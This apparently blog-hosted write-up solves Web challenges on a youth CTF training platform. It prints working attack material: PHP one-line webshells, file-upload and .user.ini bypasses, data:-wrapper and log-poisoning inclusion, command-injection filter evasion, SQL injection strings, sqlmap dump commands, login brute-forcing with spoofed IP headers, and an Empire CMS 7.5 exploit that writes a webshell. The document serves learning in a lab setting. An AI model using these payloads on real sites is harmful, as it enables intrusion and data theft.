青少年CTF训练平台-Web-WriteUP
一、Web-Easy
105.CheckIn
(1)文件上传几个步骤,①修改文件头为image/jpeg②修改php后缀为phtml,php1-9,php.等,均被过滤。
(2)测试上传.htaccess文件和.user.ini文件,没有被过滤,nginx用ini绕过,apache用htaccess绕过;使用burp改数据包,发现png后缀能上传,以及一句话木马需要使用变形。
注:.user.ini绕过要求在同一目录内,存在index.php才能利用
(3)接下来上传.user.ini,让同一目录内的index.php包含123.png的内容执行。
(4)上蚁剑得到flag:qsnctf{56ba8cfa-14b0-4996-ac4c-edfdc72187a0}
110.PingMe
简单的命令执行漏洞,输入指令后没有发现flag,应该是注释了,右键查看页面源代码得到flag:flag{s0_3asy_flag_g1ve_you}
111.easyupload
文件上传几个步骤,①修改文件头为image/jpeg②修改php后缀为phtml,php1-9,php.等,题目没有做过多限制,php就可以上传
访问upload/678.php发现上传马成功,上蚁剑连接。
得到flag:flag{upload-Yes!!!}
112.signin
分析代码,传入filename和data,将data数据写入到filename里面。这一题翻查的书籍《从0到1 CTFer成长之路》
(1)post方式输入filename=1.php/.&data=<?php eval($_POST[shell]);?>
(2)上蚁剑,得到flag:flag{4ac93603cea737970d9b164dfab069c3}
137.帝国CMS01
(1)右键查看页面源代码没有发现有用信息
(2)上dirsearch扫描目录
(3)发现www.zip,下载查看发现被挂马/e/shell.php
(4)上蚁剑
得到flag:qsnctf{1f020363-2d9e-44a3-9084-260527d7e472}
139.帝国CMS02
(1)右键查看页面源代码没有发现有用信息
(2)上dirsearch扫描目录,最终扫到后台登录目录/e/admin
(3)尝试使用burp的爆破模块进行密码爆破,很遗憾告诉你,密码输错5次后要等待60分钟
(4)尝试添加X-Forwarded-For头,设置不同的IP地址就又可以进行爆破,但每个IP只有5次机会,百度搜索burp的攻击模块,得出用BurpFakeIP插件
(5)通过网址https://github.com/TheKingOfDuck/burpFakeIP下载插件
(6)添加插件
(7)设置爆破模块参数
(8)得到登录密码123456789
(9)得到flag
flag:qsnctf{ac09d2b1-8164-45fa-b749-a34316e71947}
173.Web签到
来到网站页面,显示“欢迎来到青少年CTF你知道这道题考察什么吗?”
(1)右键查看页面源代码没有发现有用信息。
(2)使用kali的dirsearch模块扫目录。使用命令 dirsearch -u http://(网址)
扫出目录index,php.bak,访问得到flag:qsnctf{53cbfb62-687d-4584-9462-574bd7d644da}
174.Flag在哪里?
(1)右键查看页面源代码,发现无法右键;按F12点击查看器
在网页head部分发现flag: qsnctf{29f07ef9-57ad-4d17-b94a-09deac33bf7e}
175.Robots
根据题目提示,直接在网址后面加入/robots.txt得到flag:f1ag_1n_the_h3re.php
176.POST&GET
根据提示使用HackBar,使用get和post方式得到flag:qsnctf{a004e94b-a026-4d3d-8efe-fd75d3f5debc}
191.CheckMe01
输入框随便输入显示以下代码
分析代码得出,只要$keys==qsnctf即可得到flag
而$keys是通过post方式传输key值后,对key先进行url解码,再进行base64解码,因此先将qsnctf进行base64传码,再进行url转码即可。
最后得到flag:qsnctf{063f82ef-9397-410c-9a50-dbb145d61a49}
192.CheckMe02
文件包含题目
先后使用data:,<?php system("ls");?> | data:,<?php system("ls ../../../../");?> | data:,<?php system("cat ../../../../flag");?>
得到flag:qsnctf{82dc7b32-491e-4686-9412-0d4a83e5e24f}
193.CheckMe03
(1)这次所有的伪协议都被过滤了,data、php大小写绕过都被过滤了
(2)通过对中间件的日志文件做文章
(3)发现日志文件会记录访问的UA头,因此使用burp修改UA头达到插入php函数的目的。需要注意的是,本想插入一句话木马,没想到直接就插崩了,只能插入<?php phpinfo();?>
得到flag:qsnctf{111fadcc-76ce-4043-b360-62c3303679d5}
194.CheckMe04
(1)分析代码,通过get方式输入字符型a以及数字型b,而a与b经过MD5加密后相等。
(2)翻查md5()函数发现弱比较的绕过点。
得到flag:qsnctf{60e2998f-12a4-4b54-80c8-61a62c8c00e9}
215.CheckMe05
分析代码,需要通过get方式传入a与b;判断条件a不等于b,但是a与b的MD5值强等于,就不能使用CheckMe04的方法,但是可以通过数组的方式绕过。
得到flag:qsnctf{97d7d338-76a8-4861-8917-3819db9720ba}
222.CheckMe06
(1)下载list.txt发现是一堆密码,很明显是用burp的爆破模块
得到密码19861022,输入得到flag:qsnctf{fc1044c2-7951-428b-861a-67f9dd6f8f61}
228.CheckMe07
跟CheckMe06一样的登录界面,尝试用万能密码(1' or 1=1#)登录,登录成功得到flag:qsnctf{0fab3f2f-70e5-449c-b41d-4775509f72d2}
240.CheckMe08
(1)尝试万能密码(1' or 1=1#)登录,不成功。
(2)上sqlmap进行爆破
抓到数据包后保存为文件,放到sqlmap里进行爆破
(1)爆数据库:sqlmap -r xxx.txt --batch --current-db
得到 Payload: username=admin' AND (SELECT 7087 FROM (SELECT(SLEEP(5)))UwLB) AND 'WYCP'='WYCP&password=admin
得到数据库为sql。
(2)爆表:sqlmap -r xxx.txt --batch -D sql --tables
得到表为user。
(3)爆列:sqlmap -r xxx.txt --batch -D sql -T user --columns
得到列名id、password、username。
(4)爆字段sqlmap -r xxx.txt --batch -D sql -T user -C"id,password,username" --dump
得到flag:qsnctf{d690803d-2f8a-4acd-8c43-8b7fc8ac1c85}
230.PingMe02
各种过滤,过滤了空格,用$IFS$9代替,过滤了cat用c'a't代替,过滤了flag使用fla?代替,最终得到flag:qsnctf{272f99d2-3b9a-4467-8e33-0af76bcc0628}
257.Queen
(1)万能密码无法登陆,并且对来源ip有限制,猜测需要使用X-Forwarded-For使来源ip变成127.0.0.1
(2)burp修改X-Forwarded-For参数后,sqlmap一把so
(3)爆数据库:sqlmap -r xxx.txt --batch --current-db
得到 Payload: username=admin&password=admin'+(SELECT 0x6159654b WHERE 9502=9502 AND (SELECT 7587 FROM(SELECT COUNT(*),CONCAT(0x7176707071,(SELECT (ELT(7587=7587,
1))),0x717a6b6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))+'
得到数据库为sql。
(3)爆表:sqlmap -r xxx.txt --batch -D sql --tables,得到表为user。
(4)爆列:sqlmap -r xxx.txt --batch -D sql -T user --columns,得到列名id、password、username。
(5)爆字段sqlmap -r xxx.txt --batch -D sql -T user -C"id,password,username" --dump
得到flag:qsnctf{9ef215c1-a82c-49b1-9647-55b2b0e7d9df}
很奇怪的是,用kali自带的sqlmap无法爆破出来!!!
264.2个SQL
(1)登录后发现是一个登录框,并且有注册和忘记密码的页面,忘记密码页面暂时没有发现有什么作用
(2)随便注册一个账号(admin肯定是不能注册的),登录后发现存在修改密码页面。题目2个SQL,尝试使用二次注入
(3)注册账号admin'#123,密码为1
(4)注册成功后用admin'#123账号进行登录
(5)修改密码后就可以间接修改admin管理员的密码,通过updata更新账号密码语句,账号中admin'#123中的'进行闭合,#注释后续SQL语句,达到修改admin账号的目的
(6)使用admin账号登录得到flag
flag:qsnctf{34913c37-e238-41dd-97af-88d6d0487ac7}
二、Web-Middle
140.帝国CMS03
(1)前面做法跟帝国CMS02一致,通过账号admin,密码123456789登录
(2)根据题目提示“可参考现成的CVE,CMS版本为7.5。”,网址为https://blog.csdn.net/m0_60411436/article/details/121943767和http://t.zoukankan.com/LEOGG321-p-13882655.html
(3)有多种漏洞利用方式,比较熟悉代码注入的方式
(4)获取主页面路径,使用burp抓包
(5)修改数据包teblename参数为phpinfo()
(6)得到根目录/var/www/html
(7)执行命令select 'GIF89a <?php eval($_POST[shell]); ?>' into outfile "/var/www/html/shell.php",写入一句话木马到网站根目录
(8)上蚁剑
(9)访问/flag得到flag:qsnctf{cb77edc2-6bdc-45f8-8563-097e1f8eb40d}
有空可以尝试其他几种漏洞利用
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理